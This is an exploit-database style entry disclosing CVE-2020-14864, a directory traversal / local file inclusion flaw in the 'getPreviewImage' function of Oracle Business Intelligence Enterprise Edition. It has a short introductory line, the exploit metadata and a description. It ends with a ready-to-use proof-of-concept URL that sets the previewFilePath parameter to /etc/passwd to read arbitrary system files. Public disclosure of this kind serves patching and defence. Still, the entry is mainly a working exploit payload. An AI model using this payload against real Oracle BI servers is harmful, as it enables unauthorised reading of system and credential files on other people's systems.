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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion
# Date: 2020-10-27
# Exploit Author: Ivo Palazzolo (@palaziv)
# Reference: https://www.oracle.com/security-alerts/cpuoct2020.html
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/middleware/technologies/bi-enterprise-edition-downloads.html
# Version: 5.5.0.0.0, 12.2.1.3.0, 12.2.1.4.0
# Tested on: SUSE Linux Enterprise Server
# CVE: CVE-2020-14864

# Description
A Directory Traversal vulnerability has been discovered in the 'getPreviewImage' function of Oracle Business Intelligence Enterprise Edition. The 'getPreviewImage' function is used to get a preview image of a previously uploaded theme logo. By manipulating the 'previewFilePath' URL parameter an attacker with access to the administration interface is able to read arbitrary system files.

# PoC
https://TARGET/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd